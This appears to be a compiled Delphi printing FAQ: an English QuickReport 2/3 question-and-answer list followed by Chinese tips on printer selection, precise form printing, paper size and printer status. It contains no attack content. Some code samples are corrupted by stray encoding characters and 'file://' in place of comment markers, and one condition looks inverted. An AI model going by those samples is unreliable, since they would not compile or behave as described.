A. QuickReport was designed to work with bands. Placing controls directly on the band was a non-supported feature of the previous version. Try adding a detail band (set it's height to 1) and then set the report's PrintIfEmpty property to true. Your report should now work as it did with QuickReport 2.

------------------

Q. Delphi4 doesn't find the class "TQREvElementFunction" and my project will not compile.

A. Make sure the qrexpr unit is in the uses clause, that is where the TQREvElement structures are defined.

------------------

Q. The following code does not compile after upgrading: ReportForm.ExportToFilter(TQRHTMLExportFilter.Create(AttachmentFile));

A. The naming was changed. The following code will work: ReportForm.ExportToFilter(TQRHTMLDocumentFilter.Create('c:.htm'));

------------------

Q. Can we use some TQRGroup with a TQuickAbstractRep control ?

A. Not really, the TQuickAbstractRep does not have a DataSet property or OnNeedData event. The mechanism for checking the group expression does not exist and the band would be printed only once.

------------------

Q. Where are the documentation, help files, examples, QREditor, etc?

A. QuickReport 3 is still being finished up and the documentation and help files are still being updated. We will release them, but our efforts are focused on finishing up the package. The QREditor control will be in the release version of QuickReport 3 Pro.

------------------

Q. What is the TQuickAbstractRep control?

A. This is a descendant of the TCustomQuickRep base class that does not use the TDataset. If your application does not use the BDe, this will shrink the code size.

------------------

Q. Why do report event use TCustomQuickRep instead of TQuickRep?

A. This is the base class that TQuickRep is descended from. This change makes it easier to do variations QuickReport objects

------------------

Q. What happened to OnGenerateToPrinter?

A. This feature has not been finished yet and has been disabled until it has been fixed.

------------------

Q. Are there any plans to continue support of QR1 in Delphi 4 like was done in Delphi 3 with QR 1.1b?

A. This fileset is available from our sales department upon request.

------------------

Q. What is the TQRLoopBand control?

A. This is a band that is not connected to any dataset and will print for the number of times that it's PrintCount property is set to.

------------------

Q. What is the TQRStringsBand control?

A. This is a band with a items property that is a built in stringlist. It's name will appear in the expression builder and can be assigned to a TQRExpr control. At runtime, this band will print for each line in the items property.

------------------

Q. How do you use the export filter controls?

A. Just drop them on a form in your project and they will show in the previews.

------------------

Q. What is the new 'LinkBand' property?

A. This works like the LinkBand property in QuickReport 1. The Band components have a LinkBand property which is used to make several bands stick together. The LinkBand property can be set connected to another Band and QuickReport will then make a page break if there is not enough space left on the page for both bands. The second band can in turn be linked to a third band, and so on. It will not keep a series of bands together, like a group of detail bands. We have a demo project for QuickReport 3, QR3LSD4.ZIP, that shows how to "link" a set of bands.

------------------

Q. How can I display a text file with QR3?

A. Qr3 has some new functions to make this an easy task.

#1 Create a report using the TQuickAbstractRep control instead of using the TQuickRep control. The TQuickAbstractRep control does not use any data ware controls and can shrink the size of your executable if you are not using any data ware controls in your application. You can use the TQuickRep control, you just don't need to use it.

#2 Add a TQRStringsBand to the report. This is a band with a items property that is a built in stringlist.

#3 Add a TQRExpr control to the band. Set the following properties

Autosize - False

AutoStretch - True

Expression - to the name of the band (like 'QRStringsBand1')

Width - to the width of the band (can be done at runtime)

#4 Before calling Print or Preview, load the text file into the items property of the TQRStringsBand like this:

QRStringsBand1.Items.LoadFromFile(SomeFileName)

#5 Call the preview or print methods.

------------------

[RichEdit controls]

==================

Q. How can I copy the text from a TRichEdit component to the QuickReport RichText component?

A. You would use the lines property to copy the data. Example: QRRichText1.Lines := frm.RichEdit1.Lines;

------------------

Q. I get an access violation when I have QRDBRichText on a subquery

A. This is a recently discovered problem that happens with TQuery's that do not have persistent fields. Adding persistent fields will fix this. If you can not do this, insert a line into the TQRDBRichText.Print method in qrctrls.pas like the following example using the 2.0k beta code:

procedure TQRDBRichText.Print(OfsX, OfsY : integer);

begin

?Field := FDataSet.FindField(FDataField);?{ Add this line }

?if assigned(Field) then

牋?if (Field is TMemoField) or

牋牋牋 (Field is TBlobField) then

牋牋?Lines.Assign(Field);

?inherited Print(OfsX,OfsY);

end;

------------------

Q. My RTF field will not span more than one page

A. There are some serious bugs in Microsoft's implementation of their RichText common control. We are implementing work arounds to resolve as many of these issues as we can. At this time we are still working on RTF fields that span more than one page.

------------------

Q. My RTF field doesn't consistently print out the last line in the memo.

A. This is known problem with the MS RichText common control. There are two works arounds. One is to add an extra blank line to the text, the other is to set the OnGenerateToPrint event of the report's qrprinter object to nil. This will force the report to not render the report a second time.

Example:

procedure Tfrmqr.QuickRep1BeforePrint(Sender: TQuickRep; var PrintReport: boolean);

begin

QuickRep1.qrprinter.OnGenerateToPrinter := nil;

end;

------------------

Q. Can I print a richtext object that is in a field of a file with ole2 bmp object inserted in it?

Q. My QRRichText control is ignoring the "

" page break command.

A. I'm sorry, but the TRichEdit control that the QRRichText and QRDBRichtext controls link to is limited to text only and it does not appear to support this feature. Our controls are limited to the functionality of Borland's RichEdit control, which is a wrapper for Microsoft's RTF control. The MS RTF common control only supports a subset of the RTF control codes. To see what sequences are supported, load your RTF text into WordPad. WordPad uses the same common control and if it doesn't support an RTF control sequence, then it wont work on Delphi.

------------------

Q. My QRDBRichText control is not resizing correctly.

A. If the design time height of a QRDBRichText control is greater than some of the fields, it may not resize correctly. If you set the height to a small value like 10 and set autostretch to true, it should work.

------------------

Q. My QRRichText/QRDBRichText will not display or print embedded bitmaps.

A. The TRichEdit and TDBRichEdit controls do not support embedded objects and since our RTF controls use the Borland RTF controls, we have the same limitation.

------------------

[Saved Reports (*.QRP)]

==================

Q. I am using the QRPrinter object and I can't get it to save to a text file.

A. Saving as text uses the ASCII export filter and the export filters only work with reports. When you use the qrprinter object directly, the only save option is the default .QRP save.

------------------

Q. If I save a report with the Report's Options.Compression property set to true, I can't load the saved the report back into the preview.

A. This is a bug in the TMetaFile component introduced with Delphi 3.02. This should be addressed in the next Delphi release.

------------------

Q. How do I load a previously saved report via code?

A. We have a class, TQRPHandler, that is defined and documented in the QRBonus unit in QR2 and in the QRExtra unit for QR3. This class is designed to easily allow you load a saved report using the following syntax:

Delphi:

with TQRPHandler.Create do

try

Filename := 'somefile.QRP';

Preview; {or}

print;

finally

Free;

end;

C++:

fQRPHandler = new TQRPHandler;

// Set it's filename property to one selected by the user

fQRPHandler->Filename = OpenQRPDialog->FileName;

fQRPHandler->Print();

// or

fQRPHandler->Preview();

fQRPHandler->Free();

fQRPHandler = NULL;

There is a bug in current release that will prevent this from printing with Delphi 1.

(QR3) In Quick Report 3, the classes that were in qrbonus were moved to the qrextra unit.

------------------

Q. What is the format of a report saved to disk by clicking the save button in the previewer?

A. The saved report format is a proprietary metafile format that is only readable by QuickReport.

------------------

Q. Why can't I load reports saved from the preview into the Editor and vice versa?

A. The .QRP files saved by the preview are a rendered copy of the report saved as a metafile (not WMF format). You can only preview or print a .QRP file. The .QR file saved by the Editor is a Delphi resource file like a .DFM file and is basically a report form. It contains the information required to run a report, but it does not have any data from the report in it,

------------------

Q. I am trying to do is distribute .qrp files to our sales force.?On their end I will associate .qrp with a viewer we create.?If I create the .qrp file here where my default printer is a laserjet and distribute the report to someone who has a canon?

A. You can, but if the page sizes are different the page will be stretched (or compressed) to fit the page and there may some loss in resolution. An alternative way of doing this would be to use Adobe Acrobat and print the files as PDF files. The files would be more compact and Adobe makes the Acrobat Reader program freely available for multiple platforms. Please not: Quick Report does not come with the Adobe Acrobat PDFWriter printer driver used to make PDF files.

------------------

[Text controls]

==================

Q. I wish to print mailing labels. But sometimes I have only one label to print. But print starts every time with the top left label. How can I say, that print starts with the second label or in the second column with the 4th label

A. There are a few ways of dong this. You could use the OnNeedData event to drive the report and code it to print X blank detail records until it reaches the label that you want start with. You could also use a temporary table and write X number of blank records to the start of the file. You could also add child bands to the title band and increase their size to eat up the space required to fit the columns.

------------------

Q. When I increase a component's font size, the component's height increases. When I set the font size to a smaller value, the component does not shrink the height. Why does it do that and how can I make the component shrink in height?

A, We trap the CM_FONTCHANGED message for TQRCustomLabel components. When you change the font property, that message calls the CMFontChanged procedure. This procedure tells the component to reformat the text and resize the height of the control of needed. When you go from a larger font size to a smaller size, the height will not change. To force the component to match the font size, you would need to set the height to 0 before changing the font size.

------------------

Q. Why doesn't the OnPrint event work for memo fields with the TQRDBText component?

A. Memo fields do not use the OnPrint event. The reason behind the OnPrint event was to be able to override short text fields, like to expand an abbreviation. If you really want to override a memo field, you could use a calculated field and handle that type of code in the OnCalcField event.

------------------

Q. How do I force the text components to clip by letter instead of by word?

A. The current code clips on word boundaries. If you have a single line of text and you want to control the clipping by the letter, you can use the OnPrint event of the text component to manually clip the text. The following example event can be used as a generic handler for multiple text components on a report:

procedure TfrmReport.QRLabel4Print(sender: TObject; var Value: String);

begin

with TQRCustomLabel(Sender) do

while (ParentReport.TextWidth(Font, Value) > Width) and (Value <> '') do

Delete(Value, length(Value), 1);

end;

------------------

Q. The OnPrint event for the TQRDBText component does not get called when the data is null.

A. This is a limitation of the TQRDBText component. The work around is to use a TQRExpr component and in it's OnPrint event, check the IsNull property of the dataset field.

------------------

Q. My multi line text control only prints as a single line and it goes right off the right margin.

A. Make sure that you have autosize set to false and AutoStretch set to true and WordWrap set to true.

------------------

Q. The OnPrint event of my TQRLabel control is never being called.

A. Is the caption of the label blank? The code checks the caption and if it's blank, it doesn't call the OnPrint event to save time. If you want to use OnPrint with a TQRLabel, you must set the Caption to a non empty string.

------------------

Q. I have controls on the page footer that use the detail table. On the each page of a report (except for the last page) the first record's data appears everywhere except in the page footer where the second record's data appears.

A. When the page footer band is printed, the report is already working on the first detail record for the next page. One way around this would be to use the AfterPrint event of the detail band to store the data for the page footer band in some variables. In the BeforePrint event of the footerband, you would use TQRLabels and set the their captions to the string representations of the variables.

------------------

Q. On a band, I have some QRDBText fields and a QRMemo field (set to autostretch=true). When the memo field is going to go beyond the current page - QR prints the memo first (instead of the text fields) and then rolls on to the new page, finishes the memo, and then prints the text fields on top of the next page. How can I force the QRDBText fields to print first?.

A. The memo control is being printed first, which causes the page break and the rest of the controls are printed afterwards. If you change the creation order of the controls on the band so that the memo is last, the other controls will print first. Select each control (except for the Memo) and right-click on each one and select "Send to Back". That will create other controls before memo.

------------------

Q. I can't get my text to word wrap if it doesn't have any carriage returns in the text?

A. Check to make sure that your text has spaces in it. If the text is unbroken, it will not be word wrapped.

------------------

Q. My RTF text does not have the same formatting as it appears in MS Word.

A. QuickReport's RichText control uses Delphi's RichEdit control, which in turn is a wrapper for Microsoft's RichEdit common control. And that control may not be able to handle your file. Almost all of our RTF problems have been traced to bugs in that common control, and it ripples down to our control. If you load your rtf file into WordPad and it looses the formatting, then you can trace it to the common control.

------------------

Q. I can't get the mask property work with my phone number field (it's a string field)

A. The mask property only applies to numeric fields and will be ignored on string data. Use the OnPrint event to format the field like the following:

procedure TfrmReport.QRDBTextPhonePrint(sender: TObject; var Value: string);

begin

Value := '(' + copy(Value,1,3) + ') ' + copy(Value,4,3)

+ '-' + copy(Value,7,4);

end;

------------------

Q. If the report contains nulls or blanks these are not included, this destroys the alignment of the columns. Is there any way to include all nulls?

A. Use a QRExpr control for fields that could have nulls and for the expression use the IF() function to insert a space for null fields like the following:

IF(tbSample.Extra<>'', tbSample.Extra, ' ')

------------------

Q. My multiple line QRDBText controls are having the words cutoff at the right margin even when autosize is set to false.

A. If you have autostretch turned on, please make sure that the WordWrap is also turned on.

------------------

Q. I can't get the mask property to work on my numbers.

A. Please make sure that you are using a number field, the mask property will be ignored for string fields.

------------------

Q. I read the FAQ to use TQRDBText because there is no TQRDBMemo, but when my memo contains embedded carriage returns they show up as a square symbol, not as a new line.

A. This was a known bug and it was fixed in the 2.0j release.

------------------

Q. Is there a property for QRDBText to tell it *not* to split itself across pages? (i.e. widow/orphan protection.)

A. We do not have support for a Window/orphan feature, but you can do this with some minor code.

There is a function in the report called AvailableSpace that returns the amount of space left on the page. You can compare that value to the band's Size.Length property and call NewPage when There is not enough space for the band. AvailableSpace is a protected function so you can not call it directly. If you subclass the report, you can access the function by casting the report to the subclass.

First, add the following declaration in the type section of your report form declaration:

TMyQuickRep = class(TQuickRep)

end;

To use this function to keep a band from being split over a page:

procedure Tfrm.DetailBand1BeforePrint(Sender: TQRCustomBand;

var PrintBand: Boolean);

begin

if TMyQuickRep(QuickRep1).AvailableSpace >= round(Sender.Size.Length) then

Sender.ParentReport.NewColumn;

end;

------------------

Q. What about adding real "LeftAndRightJustify" (newspaper style) (aka Full Justification) in an upcoming release?

A. This will not be part of QuickReport. A future release will make the FormatLines procedure virtual so this can be done in a descending component by someone else.

------------------

Q. How do I control interline spacing within a QRMemo? Sometimes I need greater control over the line spacing.

A. We do not support this. This is being considered for a future release, but it has not been scheduled yet.

------------------

Q. When a TQRDBText field is added to a pageheader band the field is not refreshed (it remains the last field printed).

A. This is not a bug, the report is designed to retrieve rows from the dataset when it handles the detail band, it's not designed to refresh the dataset at the first call for the PageHeader. There is a simple way to get the correct for what you want to do. In the BeforePrint event of the report, add a line that goes to the first row of the dataset. If you are using a TTable named "Table1" it would look like this:

procedure TfrmSample.QuickRep1BeforePrint(Sender: TQuickRep;

var PrintReport: Boolean);

begin

Table1.First;

end;

------------------

Q. I put a mask 9999999999 for a phone number. And it still printing 5144559400 instead of 514-455-9400. Why?

A. That is the format of the editmask used by the TMaskedEdit control. The QRExpr control's mask is the format string used by FormatFloat() and FormatDateTime functions. Please refer to their documentation for allowable values. In this case, the format mask for the USA phone number would '(000) 000-000'

Documented on page 2-32 in the manual.

------------------

Q. I have two autostretched text controls on one band and it doesn't work right.

A. Multiple stretching controls on one band is not supported. This is documented on the manual page for the AutoStretch property. This limitation was removed in the 3.0 release.

------------------

Q. I have a calculated table field and it has line breaks in the text and those line breaks don't print.

A. Delphi defines calculated table text fields as TStringfield and QR handles that type of field differently than

it handles actual memo fields. To output a calculated text field, use a QRMemo component and set QRMemo.Lines.Text to the

value of the calculated field at runtime.

------------------

Q. I am setting QuickRep1.QRPrinter.OnGenerateToPrinter:=nil爐o expedite the printing of a large report from the preview form. When I use the printersetup to select a subset of the pages for printing, I still get all of the pages printed. When I don't set OnGenerateToPrinter:=nil, the settings take effect and I get the subset of pages printed. How can I print a subset of the pages and still use OnGenerateToPrinter:=nil to expedite printing?

A. This is a known limitation (also applies to saved reports) and will be addressed in a future release. The only work around would be to only set the OnGenerateToPrinter to nil when you know that the printer setup button has not been pressed. Starting with the 2.0j release, if you use a custom preview, you can check the result of calling printersetup and then you could set the OnGenerateToPrinter to nil if the user did not use printersetup.

------------------

Q. Is there a simple way to use a single QRLabel and create a label with the letters stacked on top of each other.?An example is shown below.

P

A

T

I

E

N

T

A. With QR 2.0J you can insert carriage returns and line feeds between each letter and set the Stretch property of the control to true.

Example:

qrlabel1.Caption := 'V' + #13#10 + 'E' + #13#10 + 'R' + #13#10 + 'T' + #13#10 + 'I' + #13#10 + 'C' + #13#10 + 'A' + #13#10 + 'L';

------------------

Q. I need to change the DataField properties on the QRDBText component under run-time so that it uses one field on page 1 and another the rest of the pages.

A. You can not change the DataField property after the report starts. You could use a TQRLabel control and set it's value at runtime in (either in it's OnPrint event or it's parent band's BeforePrint event) based on the current value of the report's PageNumber property.

------------------

Q. If I use tabs (ctrl-tab in the editor) in my TQrMemo fields the report prints []. Is that a general problem in TQrMemo fields?

A. Tab characters are not supported in the TQRMemo, TQRLabel, TQRExpr, TQRDBtext controls. The only control that will correctly display a tab character are the RichText controls.

------------------

Q. Is it possible to change the Autosize property of the QRImage and the Autostretch property of the QRRichtext at runtime ?

A. Yes, you can change most of the properties at runtime in the BeforePrint and AfterPrint events of the report and of the band that the controls are on.

------------------

Q. Can you advise me how to suppress the printing of blank fields in mailing label report?

A. Use a TQRMemo control and fill it with only the information that is not blank.

Example:

procedure TReportForm.AddIfNotBlank(memo: TQRMemo; s: string);

begin

{ simple function to only add non blank fields }

if Trim(s) <> '' then memo.Lines.Add(s);

end;

procedure TReportForm.DetailBand1BeforePrint(Sender: TQRCustomBand; var PrintBand: Boolean);

begin

QRMemo1.Lines.Clear;

QRMemo1.Lines.Add(Table1Company.AsString);

AddIfNotBlank(QRMemo1, Table1Addr1.AsString);

AddIfNotBlank(QRMemo1, Table1Addr2.AsString);

AddIfNotBlank(QRMemo1, Table1City.AsString + ', ' + Table1State.AsString + ' ' + Table1Zip.AsString);

end;

------------------


QREPORT中如何打印条码

http://vcl.vclxx.org/delphigb/AAAT1025.HTM#BarCode

or

http://vcl.vclxx.org/delphigb/AAAT1025.HTM

有很多现成的控件，随便下载一个即可

我也找到一个更简单的办法。

我找到了很多条码字库，把字体设置成条码字体，就OK了，就跟普通的文字一样处理。


QuickReport中指定打印机

使用QR的时候，如果系统有多台打印机，如果要使用某台指定的打印机的话，QR却把所有的打印人物都发送到默认的打印机上面去了，那么如何发送到指定的打印机呢？

可以这样，直接指定输出打印机就可以了：

Printer.PrinterIndex:=0; ///指定第一台打印机为输出设备

Printer.PinnterIndex:=-1; ///默认打印机为输出设备


Fast Report如何不要预览即可直接打印

Q: How to print report without preview?

A: Here is the code:

frReport1.PrepareReport;

frReport1.PrintPreparedReport('', 1, True, frAll);

or

frReport1.PrintPreparedReportDlg;


Fast Report的fr_class.pas
Fast Report 2.4和2.45版需要一个加密的fr_class.pas，附件中就是的，2.45和2.4版的文件是一样的。

附件>>>>> fr_class.rar


报表的强制分页输出

先声明一个变量

var

TempName : string;

调用报表预览

procedure TForm1.Button1Click(Sender: TObject);

begin

query1.Close;

query1.Open;

TempName := query1.fieldbyname('name').AsString;

QuickRep1.Preview;

end;

调用DetailBand的BeforePrint方法

procedure TForm1.DetailBand1BeforePrint(Sender: TQRCustomBand;

var PrintBand: Boolean);

begin

if Query1.FieldByName('Name').AsString <>TempName then

begin

quickrep1.NewColumn;

tempname := query1.fieldbyname('name').Asstring;

end;

end;


Delphi中票据凭证的精确打印

Delphi中票据凭证的精确打印

    一、概述

    在银行，税务，邮政等行业的实际工作中，经常涉及到在印刷好具有固定格式的汇款单，储蓄凭证，税票等单据上的确定位置打印输出相关的信息。在此类需求中，精确地定位单据并打印相关信息，是解决问题]的关键。一般情况下，开发者都是通过在打印机上通过重复的测试来达到实际需求。那么，有没有简单有效而又灵活的方法实现上述功能呢？

    二、基本思路

    分析上述单据的特征，可以发现：此类打印输出的信息一般比较简短，不涉及到文字过长的折行处理，另外，其打印输出的位置相对固定。因此，我们可以通过用尺子以毫米为单位，测量好每个输出信息位置的横向和纵向坐标，作为信息输出的位置。但由于不同打印机在实际输出效果上，总是存在理论和实际位置的偏差，因此，要求程序具有一定的灵活性，供最终用户根据需要，进行必要的位置调整。因此，可设置一打印配置文件，用于存储横坐标和纵坐标的偏移量，用于用户进行位置校正，从而提供了一定的灵活性。

    三、精确打印输出的程序实现

    1． 在Delphi中新建一个名为mprint.pas的单元文件并编写如下程序，单元引用中加入Printers略：

//取得字符的高度

function CharHeight: Word;

var

  Metrics: TTextMetric;

begin

  GetTextMetrics(Printer.Canvas.Handle, Metrics);

  Result := Metrics.tmHeight;

end;

file://取得字符的平均宽度

function AvgCharWidth: Word;

var

  Metrics: TTextMetric;

begin

  GetTextMetrics(Printer.Canvas.Handle, Metrics);

  Result := Metrics.tmAveCharWidth;

end;

file://取得纸张的物理尺寸---单位：点

function GetPhicalPaper: TPoint;

var

  PageSize : TPoint;

begin

  file://PageSize.X; 纸张物理宽度-单位:点

  file://PageSize.Y; 纸张物理高度-单位:点

  Escape(Printer.Handle, GETPHYSPAGESIZE, 0,nil,@PageSize);

  Result := PageSize;

end;

file://2.取得纸张的逻辑宽度--可打印区域

file://取得纸张的逻辑尺寸

function PaperLogicSize: TPoint;

var

  APoint: TPoint;

begin

  APoint.X := Printer.PageWidth;

  APoint.Y := Printer.PageHeight;

  Result := APoint;

end;

file://纸张水平对垂直方向的纵横比例

function HVLogincRatio: Extended;

var

  AP: TPoint;

begin

  Ap := PaperLogicSize;

  Result := Ap.y/Ap.X;

end;

file://取得纸张的横向偏移量-单位：点

function GetOffSetX: Integer;

begin

  Result := GetDeviceCaps(Printer.Handle, PhysicalOffSetX);

end;

file://取得纸张的纵向偏移量-单位：点

function GetOffSetY: Integer;

begin

  Result := GetDeviceCaps(Printer.Handle, PhysicalOffSetY);

end;

file://毫米单位转换为英寸单位

function MmToInch(Length: Extended): Extended;

begin

  Result := Length/25.4;

end;

file://英寸单位转换为毫米单位

function InchToMm(Length: Extended): Extended;

begin

  Result := Length*25.4;

end;

file://取得水平方向每英寸打印机的点数

function HPointsPerInch: Integer;

begin

  Result := GetDeviceCaps(Printer.Handle, LOGPIXELSX);

end;

file://取得纵向方向每英寸打印机的光栅数

function VPointsPerInch: Integer;

begin

  Result := GetDeviceCaps(Printer.Handle, LOGPIXELSY)

end;

file://横向点单位转换为毫米单位

function XPointToMm(Pos: Integer): Extended;

begin

  Result := Pos*25.4/HPointsPerInch;

end;

file://纵向点单位转换为毫米单位

function YPointToMm(Pos: Integer): Extended;

begin

  Result := Pos*25.4/VPointsPerInch;

end;

file://设置纸张高度-单位：mm

procedure SetPaperHeight(Value:integer);

var

  Device : array[0..255] of char;

  Driver : array[0..255] of char;

  Port : array[0..255] of char;

  hDMode : THandle;

  PDMode : PDEVMODE;

begin

file://自定义纸张最小高度127mm

if Value < 127 then Value := 127;

  file://自定义纸张最大高度432mm

  if Value > 432 then Value := 432;

    Printer.PrinterIndex := Printer.PrinterIndex;

    Printer.GetPrinter(Device, Driver, Port, hDMode);

    if hDMode <> 0 then

      begin

        pDMode := GlobalLock(hDMode);

        if pDMode <> nil then

        begin

          pDMode^.dmFields := pDMode^.dmFields or DM_PAPERSIZE or

                              DM_PAPERLENGTH;

          pDMode^.dmPaperSize := DMPAPER_USER;

          pDMode^.dmPaperLength := Value * 10;

          pDMode^.dmFields := pDMode^.dmFields or DMBIN_MANUAL;

          pDMode^.dmDefaultSource := DMBIN_MANUAL;

          GlobalUnlock(hDMode);

        end;

      end;

      Printer.PrinterIndex := Printer.PrinterIndex;

end;

file://设置纸张宽度：单位--mm

Procedure SetPaperWidth(Value:integer);

var

  Device : array[0..255] of char;

  Driver : array[0..255] of char;

  Port : array[0..255] of char;

  hDMode : THandle;

  PDMode : PDEVMODE;

begin

file://自定义纸张最小宽度76mm

if Value < 76 then Value := 76;

  file://自定义纸张最大宽度216mm

  if Value > 216 then Value := 216;

    Printer.PrinterIndex := Printer.PrinterIndex;

    Printer.GetPrinter(Device, Driver, Port, hDMode);

    if hDMode <> 0 then

    begin

      pDMode := GlobalLock(hDMode);

      if pDMode <> nil then

      begin

        pDMode^.dmFields := pDMode^.dmFields or DM_PAPERSIZE or

                            DM_PAPERWIDTH;

        pDMode^.dmPaperSize := DMPAPER_USER;

        file://将毫米单位转换为0.1mm单位

        pDMode^.dmPaperWidth := Value * 10;

        pDMode^.dmFields := pDMode^.dmFields or DMBIN_MANUAL;

        pDMode^.dmDefaultSource := DMBIN_MANUAL;

        GlobalUnlock(hDMode);

      end;

    end;

    Printer.PrinterIndex := Printer.PrinterIndex;

end;

file://在 (Xmm, Ymm)处按指定配置文件信息和字体输出字符串

procedure PrintText(X, Y: Extended; Txt: string; ConfigFileName: string; FontSize: Integer=12);

var

  OrX, OrY: Extended;

  Px, Py: Integer;

  AP: TPoint;

  Fn: TStrings;

  FileName: string;

  OffSetX, OffSetY: Integer;

begin

file://打开配置文件，读出横向和纵向偏移量

try

  Fn := TStringList.Create;

  FileName := ExtractFilePath(Application.ExeName) + ConfigFileName;

  if FileExists(FileName) then

  begin

    Fn.LoadFromFile(FileName);

    file://横向偏移量

    OffSetX := StrToInt(Fn.Values['X']);

    file://纵向偏移量

    OffSetY := StrToInt(Fn.Values['Y']);

  end

else

begin

  file://如果没有配置文件，则生成

  Fn.Values['X'] := '0';

  Fn.Values['Y'] := '0';

  Fn.SaveToFile(FileName);

end;

finally

  Fn.Free;

end;

X := X + OffSetX;

Y := Y + OffSetY;

Px := Round(Round(X * HPointsPerInch * 10000/25.4) / 10000);

Py := Round(Round(Y * VPointsPerInch * 10000/25.4) / 10000);

Py := Py - GetOffSetY; file://因为是绝对坐标, 因此, 不用换算成相对于Y轴坐标

Px := Px + 2 * AvgCharWidth;

Printer.Canvas.Font.Name := '宋体';

Printer.Canvas.Font.Size := FontSize;

file://Printer.Canvas.Font.Color := clGreen;

Printer.Canvas.TextOut(Px, Py, Txt);

end;

    2． 使用举例

    在主窗体中加入对mprint单元的引用，在一命令钮的OnClick事件中书写如下代码（用于在邮政汇款单上的相应方框内打印邮政编码843300）：

Printer.BeginDoc;

PrintText(16, 14, '8', 'config.txt');

PrintText(26, 14, '4', 'config.txt');

PrintText(36, 14, '3', 'config.txt');

PrintText(46, 14, '3', 'config.txt');

PrintText(56, 14, '0', 'config.txt');

PrintText(66, 14, '0', 'config.txt');

Printer.EndDoc;

    观察结果，用尺子测量偏移量，在config.txt文件中修改X，Y的值即可。

    其它，设置打印机和纸张类型从略。

    四、结束语

    笔者通过该方法，实现了邮政汇款单，储蓄凭证，客户信封等单据的精确打印，取得了较为满意的效果。该程序在Windows98，Delphi5下调试通过。


调用系统的页面设置对话框

1、首先在你的USES子句中加入COMMDLG单元；

2、以下是一个例子

procedure TForm1.Button1Click(Sender: TObject);

Var

S : tagPSD ;

begin

FillChar(s,sizeof(S),0) ;

S.lStructSize := sizeof(S) ;

if PageSetupDlg(S) then

ShowMessage('I am Happy!')

else

ShowMessage('I am... ')

end;


是否可以打印PostScript

判断打印机能否打印PostScript

uses Printers;

function IsPostScriptPrinter(dc : hdc) : bool;

var

TestInt : integer;

a : array[0..255] of char;

err : integer;

s : string;

begin

Result := false;

TestInt := GETTECHNOLOGY;

{$IFDEF WIN32}

if ExtEscape(Dc,

QUERYESCSUPPORT,

sizeof(TestInt),

@TestInt,

0,

Nil) > 0 then begin

Err := ExtEscape(Dc,

GETTECHNOLOGY,

0,

nil,

256,

@a);

{$ELSE}

if Escape(Dc,

QUERYESCSUPPORT,

sizeof(TestInt),

@TestInt,

Nil) > 0 then begin

Err := Escape(Dc,

GetTechnology,

0,

nil,

@a);

{$ENDIF}

if Err > 0 then begin

s := UpperCase(StrPas(a));

if Pos('POSTSCRIPT', s) > 0 then

result := true;

end;

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

if PrintDialog1.Execute then

if IsPostScriptPrinter(Printer.Handle) then

ShowMessage('This is a Postscript Printer') else

ShowMessage('This is not a Postscript Printer');

end;


获取打印页边距

获取打印页边距

uses Printers;

procedure TForm1.Button1Click(Sender: TObject);

var

EscapeCode : integer;

Margin : TPoint;

begin

if PrintDialog1.Execute then begin

{$IFDEF WIN32}

Margin.x :=GetDeviceCaps(Printer.Handle, PHYSICALOFFSETX);

Margin.y :=GetDeviceCaps(Printer.Handle, PHYSICALOFFSETY);

{$ELSE}

EscapeCode := GETPRINTINGOFFSET;

if Escape(Printer.Handle,

QUERYESCSUPPORT,

sizeof(EscapeCode),

@EscapeCode,

nil) <> 0 then

if Escape(Printer.Handle,

GETPRINTINGOFFSET,

0,

nil,

@Margin) < 1 then begin

EscapeCode := GETPHYSPAGESIZE;

if Escape(Printer.Handle,

QUERYESCSUPPORT,

sizeof(EscapeCode),

@EscapeCode,

nil) <> 0 then

if Escape(Printer.Handle,

GETPHYSPAGESIZE,

0,

nil,

@Margin) > 0 then begin

Margin.x := (Margin.x -

GetDeviceCaps(Printer.Handle, HorzRes)) div 2;

Margin.y := (Margin.y -

GetDeviceCaps(Printer.Handle, VertRes)) div 2;

end else begin

Margin.x := 0;

Margin.y := 0;

end;

end;

{$ENDIF}

Memo1.Lines.Add(IntToStr(Margin.x));

Memo1.Lines.Add(IntToStr(Margin.y));

end;

end;

呵呵,我也是Copy下来的,借花献佛吧,你自己看.


当前打印机的纸张大小（A3还是A4等等）

procedure TForm1.Button1Click(Sender: TObject);

var

Device: Array[0..(cchDeviceName -1)] of char;

Driver: Array[0..(MAX_PATH -1)] of char;

Port: Array[0..32] of char;

HDMode : THandle;

PDMode: PDevMode;

begin

Printer.PrinterIndex := Printer.PrinterIndex ;

Printer.GetPrinter(Device,Driver,Port,HDMode);

if HDMode <> 0 then

begin

PDMode := GlobalLock(HDMode);

if PDMode <> nil then

begin

case pDMode.dmPaperSize of

DMPAPER_USER: showmessage('纸张类型：自定义');

DMPAPER_A3: showmessage('纸张类型：A3');

DMPAPER_A4: showmessage('纸张类型：A4');

DMPAPER_A5: showmessage('纸张类型：A5');

DMPAPER_B4: showmessage('纸张类型：B4');

DMPAPER_B5: showmessage('纸张类型：B5');

else showmessage('纸张类型：其它');

end;

GlobalUnLock(HDMode);

Printer.PrinterIndex := Printer.PrinterIndex;

end;

end;

end;


打印机状态检测

可用CREATEFILE以PRN为文件名生成一个文件，检测返回值，若成功则打印机可用，否则显示打印机故障。生成关于PRN的文件句柄后，可象普通文件一样向文件写入内容，比如WRITE，写完后关闭文件。

//从并行端口读取打印机状态

function GetPrinterStatus:byte;

asm

MOV DX,$379;

IN AL,DX;

end;

//获取打印机是否出错

function CheckPrinter:boolean;

var

temp:byte;

begin

temp:=GetPrinterStatus;

Result:=not ( ((temp and $80)=0) //打印机忙

or ((temp and $20)<>0) //打印机缺纸

or ((temp and $10)=0) //打印机未联机

or ((temp and $08)=0) ); //打印机出错;

end;


打印机的纸张类型

procedure TForm1.Button1Click(Sender: TObject);

var

Device: Array[0..(cchDeviceName -1)] of char;

Driver: Array[0..(MAX_PATH -1)] of char;

Port: Array[0..32] of char;

HDMode : THandle;

PDMode: PDevMode;

begin

Printer.PrinterIndex := Printer.PrinterIndex ;

Printer.GetPrinter(Device,Driver,Port,HDMode);

if HDMode <> 0 then

begin

PDMode := GlobalLock(HDMode);

if PDMode <> nil then

begin

case pDMode.dmPaperSize of

DMPAPER_USER: showmessage('纸张类型：自定义');

DMPAPER_A3: showmessage('纸张类型：A3');

DMPAPER_A4: showmessage('纸张类型：A4');

DMPAPER_A5: showmessage('纸张类型：A5');

DMPAPER_B4: showmessage('纸张类型：B4');

DMPAPER_B5: showmessage('纸张类型：B5');

else showmessage('纸张类型：其它');

end;

GlobalUnLock(HDMode);

